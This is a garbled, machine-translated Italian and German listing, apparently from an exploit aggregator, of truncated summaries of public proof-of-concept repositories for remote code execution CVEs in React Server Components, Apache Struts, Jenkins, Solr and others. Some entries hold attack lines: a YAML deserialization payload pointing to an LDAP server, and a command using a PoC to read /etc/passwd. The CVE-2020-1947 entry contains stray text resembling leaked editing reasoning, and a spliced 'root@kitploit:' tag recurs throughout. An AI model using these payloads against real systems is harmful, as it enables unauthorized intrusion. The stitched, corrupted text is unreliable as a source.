CVE-2025-1337-PoC

PoC per CVE-2025-1337 Prova di concetto per la vulnerabilità di Esecuzione Remota di Codice RCE nel servizio LogServ v1.2. Dettagli della Vulnerabilità CVE: CVE-2025-1337 Software: LogServ v1.2 Tipo: Deserializzazione non sicura di un oggetto di sessione nel cookie sessiondata. Impatto: Un...

CVE-2024-3400

CVE-2024-3400 PoC solo a scopo educativo. utilizzare solo su server che hai il permesso di testare. Come usare dipendenze: root@kitploit: $ pip install rich scansiona targets.txt： root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check file... ...

Zena-CVE-2021-45026

Zena - POC di exploit da XSS persistente a RCE POC di exploit per l'applicazione Zena di Rocket Software v. 4.2.1 - da XSS persistente a RCE CVE-2021-45025 CVE-2021-45026 https://phoenix-sec.io/2022/06/17/Zena-CookieMonsteRCE.html Processo del POC: Accede alla pagina webconfig di Zena utilizzando...

hook

hook Submodul für gitrce: https://github.com/EQSTSeminar/gitrce Angriffsszenario kali192.168.216.129 --Gibt Remote-Repository-Adresse-- Win192.168.216.130 kali192.168.216.129 --Git clone && Hook-Skriptpost-checkout-Ausführung-- Win192.168.216.130 Haftungsausschluss Dieses Repository ist nicht als...

CVE-2025-55182

React2Shell CVE-2025-55182 - Prova di concetto Un exploit proof-of-concept completo e una risorsa educativa per CVE-2025-55182, una vulnerabilità critica di esecuzione remota di codice che interessa i React Server Components con un punteggio CVSS di 10.0. Dichiarazione di esclusione di...

CVE-2025-55182-NextJS-Scanner-React2Shell-PoC

Strumento di Exploitation CVE-2025-55182 Uno strumento completo di ricerca sulla sicurezza per testare la vulnerabilità di Remote Code Execution nei React Server Components di Next.js CVE-2025-55182. Panoramica Questo toolkit fornisce capacità automatizzate di rilevamento ed exploitation per...

Blackash-CVE-2025-55182

🚨 CVE-2025-55182 — Vulnerabilità Critica del Server React 🧠 Cos'è ⚛️ Una falla di sicurezza critica in React Server Components RSC 🧨 Causata da deserializzazione non sicura 🌐 Sfruttabile tramite richieste di rete 🔓 Nessuna autenticazione richiesta ☠️ Può portare a Esecuzione di codice remoto RCE ✅...

CVE-2025-55182-Simple-Scanner-main

CVE-2025-55182: Scanner RCE per React Server Components Un toolkit completo per rilevare e sfruttare la CVE-2025-55182 , una vulnerabilità critica di Remote Code Execution nelle applicazioni Next.js che utilizzano React Server Components. Questo repository include uno scanner Bash unificato...

CVE-2025-55182-PoC

CVE-2025-55182 - PoC & Stand 📌 Schnellstart 1. Verwundbaren Stand bereitstellen root@kitploit: cd Stand docker compose up --build The vulnerable app runs at: http://localhost:3011 2. Run the Safe PoC Scanner bash cd PoC/src poetry install poetry run python scanner.py http://localhost:3011 ✅...

cve-2025-55182-poc

CVE-2025-55182 React2Shell Laboratorio di Analisi della Vulnerabilità Questo repository contiene un ambiente completo per analizzare e riprodurre CVE-2025-55182 , una vulnerabilità critica di Remote Code Execution RCE in React Server Components RSC che colpisce React 19.x e Next.js 15.x. ⚠️...

cve-2025-55182-scanner

Scanner di Indicatori CVE-2025-55182 Questo repository fornisce uno scanner basato su Python per gli indicatori di compromissione relativi a CVE-2025-55182 React Server Components RCE e allo specifico malware multi-stadio descritto nel report dell'incidente Asleepace. È progettato per essere...

react2shellpoc

Dieses Repository enthält einen Proof-of-Concept, der demonstriert, wie sich eine bestimmte Klasse von Schwachstellen in React Server Components innerhalb einer kontrollierten, legalen Trainingsumgebung verhält. Anleitung root@kitploit: ┌──kali㉿kali-/Documents/tools/2025-55182 └─$ python exploit....

CVE-2022-34718-PoC

Esempio di exploit per CVE-2022-34718 IPv6 Remote Code Execution Questo repository contiene un exploit di CVE-2022-34718, una vulnerabilità di Remote Code Execution RCE in IPv6 sui sistemi Windows. Come fare Poiché la vulnerabilità richiede pacchetti IPv6 appositamente costruiti, dipende dal modu...

CVE-2020-1947

" — the block ends with and then " response" after? Let me re-read the input: root@kitploit: "dataSourceConfiguration": "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: ldap://127.0.0.1:1389/ExportObject\n autoCommit: true" Response root@kitploit: HTTP/1.1 200 ... Yes. So after the code fence,...

CVE-2025-55182

CVE-2025-55182 — React2Shell Strumento interattivo di sfruttamento per CVE-2025-55182 🧠 Cos'è CVE-2025-55182 ? React2Shell sfrutta una vulnerabilità critica di esecuzione remota di codice in React Server Components. Se il target esegue React 19 o un framework basato su RSC come Next.js, potrebbe...

poc-cve-2024-23897

poc-cve-2024-23897 questo codice è il mio tentativo di scrivere una proof of concept per la cve 2024 23897. consente di eseguire RCE sulla macchina attaccata tramite il modulo args4j vulnerabile come usare: go run poc.go http://127.0.0.1:8888/ /etc/passwd...

CVE-2019-12409

CVE-2019-12409: RCE-Schwachstelle aufgrund einer schlechten Standardkonfiguration in Apache Solr Die Versionen 8.1.1 und 8.2.0 von Apache Solr enthalten unsichere Einstellungen in der mitgelieferten Standardkonfigurationsdatei solr.in.sh. Die Einstellungen, die zu dieser Schwachstelle führen, sin...

apache-struts-v2-CVE-2017-5638

apache-struts-v2-CVE-2017-5638 POC funzionante per CVE 2017-5638 Questo repository contiene un esempio python funzionante che dimostra le capacità RCE di CVE 2017-5638. Inoltre, per riferimento, è incluso il file WAR di Struts Showcase...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2 Einleitung: Apache Struts 2 ist ein Open-Source-Webanwendungsframework zur Entwicklung von Java EE-Webanwendungen. Es ist die zweite Generation des Struts-Frameworks, das erstmals am 10. Oktober 2006 veröffentlicht wurde. Das Struts-Framework ist so konzipiert, dass ...

RemoteMouse-3.008-RCE

CVE-2021-35448 - Remote Mouse Exploit Beschreibung Dieser Exploit zielt auf die CVE-2021-35448 -Sicherheitslücke in der Remote Mouse-Anwendung ehemals WiFi Mouse ab. POC CVE-2021-35448.webm Verwendung Grundlegende Syntax root@kitploit: python3 CVE-2021-35448.py -t OPTIONS Optionen -t, --target:...